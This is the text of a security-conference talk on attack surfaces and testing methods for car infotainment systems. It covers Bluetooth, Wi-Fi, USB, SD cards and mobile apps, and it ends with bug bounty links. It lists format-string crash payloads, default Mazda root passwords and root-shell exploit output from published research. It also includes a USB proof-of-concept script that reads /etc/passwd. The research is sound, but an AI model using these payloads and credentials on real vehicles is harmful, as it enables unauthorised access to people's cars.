CAR INFOTAINMENT HACKING METHODOLOGY AND ATTACK SURFACE SCENARIOS

~ Jay Turla @shipcod3
WHOAMI

- Jay Turla @shipcod3
- app security engineer @Bugcrowd
- ROOTCON goon
- contributed to some security tools
- I love PS4
- Not the creator of Turla malware
- Loves to party
BEFORE ANYTHING ELSE….. WE NEED AN INSPIRATIONAL QUOTE

Well, it's not the ride, it's the rider.
SCOPE & LIMITATIONS

- Infotainment bugs and its attack surfaces
- No Canbus Hacking
- Methodologies, Security Bugs But Not Full Takeover of the Car (because infotainments have limitation)
- Kinda similar to Jason Haddix’s “The Bug Hunters Methodology” (in fact inspired by it)
- Probably miss out some attack surfaces (only common ones with known vulnerabilities or proof of concept)
COMMON ATTACK SURFACES
BY CRAIG SMITH IN HIS BOOK “THE CAR HACKER’S HANDBOOK”

Diagram:
- External
  - Cellular
  - Wi-Fi
  - Bluetooth
  - TPMS
  - KES
- Internal
  - Infotainment/Nav Console
  - USB
  - OBD-II Connector
  - CAN Bus Splicing
COMMON ATTACK SURFACES LINKED TO THE INFOTAINMENT CONSOLE

- Bluetooth
- Wi-Fi
- USB Ports
- SD Card Ports
- CD-ROM / DVD-ROM
- Touch screen and other inputs that allow you to control the console
- Audio Jack (hmmm maybe?)
- Cellular Connection, GPS, etc.
BLUETOOTH

- Bluetooth vulnerabilities
- Bluetooth jamming
- Code execution (haven’t seen a PoC on an infotainment yet)
- Default bluetooth pairing numbers: “0000,” “1111,” “1234”
- Malformed or Format String Vulnerabilities (Brick the Device)
- Memory corruption - send malformed packages to the head unit
Some Bluetooth stacks on infotainment systems can be crashed via \%x or \%c format string specifiers in a device name, address book name, song title, etc.

CVE-2017-9212 was assigned to a BMW 330i 2011 car wherein a researcher from IOActive renamed his device with format string specifiers & connected his device via Bluetooth to his car which eventually crashed his system.

Warning! Bricks your system so test at your own risk

WHAT IF it takes you to the desktop environment or debug options?
So basically set your smartphone's name to %x%x%x%x%x and test for format string vulns in connected devices. Here's a 2011 BMW 330i #Hackers
HERE ARE SOME PAYLOADS

```plaintext
%p%p%p%p
%p%p%p%p%p%p%p%p%p
%p * 55
%p * 129
%p * 257
%p * 513
%x%x%x%x
%x%x%x%x%x%x%x%x%x
%x * 55
%x * 129
%x * 257
%x * 513
%d%d%d%d%d
%d%d%d%d%d%d%d%d%d%d
%d * 55
%d * 129
%d * 257
%d * 513
```
Wi-Fi deauthentication attacks

Does the firmware update work over the Internet? Try sniffing the traffic / replace it with a malicious firmware

Connect to WiFi -> Fetch DHCP IP Address -> Nmap -> what services does it have? FTP, Telnet, SSH?

Insecure Transmission of Credentials: Telnet and FTP for example

Some of these interfaces have no auth: yes netcat is your friend :)

Exploits for these services
**WI-FI CASE: THOSE SERVICES!!**

- Try brute forcing the credentials - most of these have weak passwords
- Get to know the default password of accessing the system
- ROOT pass?
- Mazda
  - jci : root
  - root : jci
  - user : jci
Daan Keuper and Thijs Alkemade from Computest gained access to the IVI system's root account for Volkswagen and Audi:


After further research, we found a service on the Golf with an exploitable vulnerability. Initially we could use this vulnerability to read arbitrary files from disk, but quickly could expand our possibilities into full remote code execution. This attack only worked via the Wi-Fi hotspot, so the impact was limited. You have to be near the car and it must connect with the Wi-Fi network of the attacker. But we did have initial access:

```
$ ./exploit 192.168.88.253
[+] going to exploit 192.168.88.253
[+] system seems vulnerable...
[+] enjoy your shell:
uname -a
QNX mmx 6.5.0 2014/12/18-14:41:09EST nVidia_Tegra2(T30)_Boards armle
```
# /tmp/telnet 10.0.0.16
Trying 10.0.0.16...
Connected to 10.0.0.16.
Escape character is ‘^]’.

QNX Neutrino (rcc) (ttyp0)

login: root
Password:

```
$ ls -la
total 37812
lrwxrwxrwx 1 root root 0 Jan 01 00:49 dev
lrwxrwxrwx 1 root root 0 Jan 01 00:49 eso
dr-xr-xr-x 2 root root 0 Jan 01 00:00 etc
dr-xr-xr-x 2 root root 0 Jan 01 00:00 hbsystem
lrwxrwxrwx 1 root root 20 Jan 01 00:49 irc -> /mnt/efs-persist/irc
drwxrwxrwx 2 root root 0 Jan 01 00:00 lib
lrwxrwxrwx 1 root root 10 Feb 16 2015 mnt
lrwxrwxrwx 2 root root 0 Jan 01 00:37 net
dr-xr-xr-x 2 root root 10 Jan 01 00:00 opt
dr-xr-xr-x 2 root root 19353600 Jan 01 00:49 proc
drwxrwxrwx 2 root root 0 Jan 01 00:00 sbin
dr-xr-xr-x 2 root root 0 Jan 01 00:00 scripts
dr-xr-xr-x 2 root root 0 Jan 01 00:00 srv
lrwxrwxrwx 1 root root 10 Feb 16 2015 tmp -> /dev/shmem
drwxr-xr-x 2 root root 10 Jan 01 00:00 usr
dr-xr-xr-x 2 root root 0 Jan 01 00:49 var
```
KEY TAKEAWAYS ABOUT THE RESEARCH FROM COMPUTEST

Charlie Miller @0xcharlie · May 1
Cool new research out on car hacking: computest.nl/wp-content/upl…. Hang on or mute as I’ll give my thoughts on it.

Charlie Miller
@0xcharlie

They looked at 2015 vehicles. This is a big difference between car hacking and, say, browser hacking. 2015 is an old browser, but still a pretty new car.

11:55 AM - 1 May 2018
Ian Tabor also showed an analysis of the IVI system within the 2015 DS5 1955 Limited Edition. He connected to the device over TCP port 23 (telnet) without any authentication and executed commands.

Having connected to the WiFi, I used NMAP to scan the IP address that was issued to the IVI unit, to the right is the screenshot of the NMAP scan.

<table>
<thead>
<tr>
<th>Port</th>
<th>Service</th>
</tr>
</thead>
<tbody>
<tr>
<td>23/tcp</td>
<td>telnet</td>
</tr>
<tr>
<td>111/tcp</td>
<td>rpcbind</td>
</tr>
<tr>
<td>3333/tcp</td>
<td>dec-notes</td>
</tr>
<tr>
<td>20000/tcp</td>
<td>dnp</td>
</tr>
</tbody>
</table>
USB

- Install apps or malicious apps
- Update the firmware via USB
- Remote Code Execution via the USB stack to IVI
- Killer USB - one that destroys your files
- Some systems support USB-to-ETHERNET adapters by default (another way for your device to have an IP address)
Owners of Mazda cars have been modding and installing apps to their infotainment using MZD-AIO-TI (MZD All In One Tweaks Installer) in the Mazda3Revolution forum since 2014.
USB CASE: MY CASE

Got curious so read one of the details from a pdf that allows you to pull up data from CMU and also analyze the app from Trez

Reference:

How to use the CMU data retrieval tool

USB Flash Drive Setup:

1) Prepare a USB flash drive to use for data extraction. (Flash drive should be blank)

2) Go to MS3 and Click on the Link for CMU data retrieval:

3) Select the CMU Data Retrieval Files

4) Save the zipped folder to your PC (computer) desktop.

9) Copy all 3 files onto the blank USB flash drive.

10) The flash drive is now ready to collect data. Remove the flash drive from your PC and take it to the vehicle.

Collecting CMU Data:

Try to duplicate the problem if possible and perform the data collection as soon as possible. Otherwise, perform the following if the customer has experienced the concern within the last week. If customer’s concern has occurred over 1 week ago, data collection is not necessary.

1) Insert the prepared USB flash drive into either USB port on the vehicle. (Vehicle can remain running and pulled over or parked safely). A message will立即 display confirming the USB has been recognized. The system will begin downloading data to the USB flash drive when connected.
How to use the CMU data retrieval tool

**USB Flash Drive Setup:**

1. Prepare a USB flash drive to use for Data extraction. (Flash drive should be blank)

![Image of USB flash drive]

2. Go to MS3 and Click on the Link for CMU data retrieval:

![Image of Mazda Service Support System]

   - Select IDS/Infotainment tab in MS3.
   - Select link for "MAZDA CONNECT CMU Data Retrieval".

3. Select the CMU Data Retrieval Files

![Image of CMU Data Retrieval]

   - Click to Download the "CMU Data Retrieval Files".

4. Save the zipped folder to your PC (computer) desktop.
9) Copy all 3 files onto the blank USB flash drive.

10) The flash drive is now ready to collect data. Remove the flash drive from your PC and take it to the vehicle.

**Collecting CMU Data:**

Try to duplicate the problem if possible and perform the data collection as soon as possible. Otherwise, perform the following if the customer has experienced the concern within the last week. If customer’s concern has occurred over 1 week ago, data collection is not necessary.

1) Insert the prepared USB flash drive into either USB port on the vehicle. (Vehicle can remain running and pulled over or parked safely). A message will briefly display confirming the USB has been recognized. The system will begin downloading data to the USB flash drive when connected.
USB CASE: MY CASE

- Our main focus is the text file

```
CMU_STATUS=no
DATA_PERSIST=no
SCREENSHOT=no
MEMINFO=no
TOP_LOG=no
SMEVENTS=no
NVRAM_DATA=no
THREAD_INFO=no
VUI_LOG=no
GPIO_DATA=no
SETTINGS_BIN=no
SMAPS_VALUE=no
TEST_MODE=no
VUI_ECO_FILES=no
BDS_DATA=no
FLASHINFO=no
SCI_LOG=no
LOG_TIMEOUT=120
TMP_FILTER=
CMD_LINE=sh · /mnt/sd?1/info.sh
```
USB CASE: MY CASE

- Putting it all together for a PoC: https://github.com/shipcod3/mazda_getInfo/
#!/bin/sh
# by @shipcod3
get_uname()
{
    _uname=$(/bin/uname -a)
    echo "${_uname}"
}

get_passwd()
{
    _passwd=$(/bin/cat /etc/passwd)
    echo "${_passwd}"
}

GET_UNAME=$(get_uname)
GET_PASSWD=$(get_passwd)
/jci/tools/jci-dialog --title="Executing uname -a" --text="${GET_UNAME}" --ok-label='OK' --no-cancel
/jci/tools/jci-dialog --title="Executing cat /etc/passwd" --text="${GET_PASSWD}" --ok-label='OK' --no-cancel

sleep 10

killall jci-dialog
Researchers from Keen Security Lab also found local code execution via the USB through an update.

Local Code Execution. There are several update services running in hu-intel system (e.g., Navigation Update / Software Update) and monitoring the USB stick. With the expected update content provided in the USB stick, NBT will fall into certain upgrade stage. Some content is signed by BMW private keys, while some are not, which gives us a chance to prepare our malformed content in the USB stick and leverage some vulnerabilities existed in the update service to gain control of hu-intel system with root privilege.

```
# uname -mnpnr
QNX hu-intel 6.5.0 x86pc x86
#
# id
uid=0(root) gid=0(root)
#
# pidin info
CPU:X86 Release:6.5.0 FreeMem:215Mb/1024Mb BootTime:Dec 31
Processes: 96, Threads: 1093
Processor1: 131758 Pentium Celeron Stepping 1 1296MHz FPU
Processor2: 131758 Pentium Celeron Stepping 1 1296MHz FPU
#
# cat /opt/sys/etc/nbt_version.txt
NBT_016255A
#
# ls /net/
hu-intel  hu-jacinto
```

Figure: Root Shell from NBT
SD CARD SLOT & CD-ROM / DVD

ROM

- Basically the same thing with what’s discussed on the USB Port = load something

Dad, what’s SD Card, OTG cable and Sharing device?

We don't know son we're iPhone users
For Mazda, using the known cmu bug, you can deploy apps via the SD card: https://github.com/flyandi/mazda-custom-application-sdk
TOUCH SCREEN / INTERFACE

- Connect to WI-FI to establish IP address
- PRESS anything, multitask - cause an overflow
- Picture below from my uncle
IS THIS TRUE?

- NOPE! It's just a joke

How to mod your Porsche 911 or other car to run Doom in 3 easy steps
GSM, CELLULAR CONNECTION, PHONE APP TO CAR, ETC

▸ Do you have an app that connects to your car? Time for some mobile app testing

▸ Test the URLs you intercepted while testing the app: https://www.troyhunt.com/controlling-vehicle-features-of-nissan/

▸ Eavesdrop on the connections

▸ Reverse engineer the app -> get the API keys?
RESPONSIBLE DISCLOSURE & BUG BOUNTY PROGRAMS

▸ Fiat Chrysler Automobiles - https://bugcrowd.com/fca

▸ Tesla Motors - https://bugcrowd.com/tesla

▸ General Motors - https://hackerone.com/gm
AS REQUESTED…

VIDEO DEMO
REFERENCES

- The Car Hacker’s Handbook by Craig Smith: http://opengarages.org/handbook/ebook
- Memes from Google lol
  - http://openmzdc.wikia.com/wiki/Getting_started
  - https://mazdatweaks.com/
- https://www.mintynet.com/
- https://github.com/jaredthedecoder/awesome-vehicle-security